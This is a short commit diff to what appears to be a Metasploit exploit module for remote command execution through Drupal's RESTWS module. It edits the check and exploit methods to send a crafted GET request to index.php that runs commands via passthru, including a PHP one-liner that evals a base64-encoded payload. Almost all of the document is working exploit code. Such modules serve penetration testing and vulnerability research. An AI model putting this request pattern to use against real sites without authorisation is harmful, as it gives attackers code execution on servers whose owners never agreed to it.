Remove random string from URI

Author: mdisec

modules/exploits/unix/webapp/drupal_restws_exec.rb

@@ -59,7 +59,7 @@ def check
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path, "index.php"),
       'vars_get' => {
-        'q' => "taxonomy_vocabulary/#{r}/passthru/echo #{r}"
+        'q' => "taxonomy_vocabulary//passthru/echo #{r}"
       }
     )
     if res && res.body.include?(r)
@@ -69,13 +69,12 @@ def check
   end
 
   def exploit
-    random = rand_text_alpha(1 + rand(2))
     cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"
     send_request_cgi(
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path, "index.php"),
       'vars_get' => {
-        'q' => "taxonomy_vocabulary/#{random}/passthru/#{cmd}"
+        'q' => "taxonomy_vocabulary//passthru/#{cmd}"
       }
     )
   end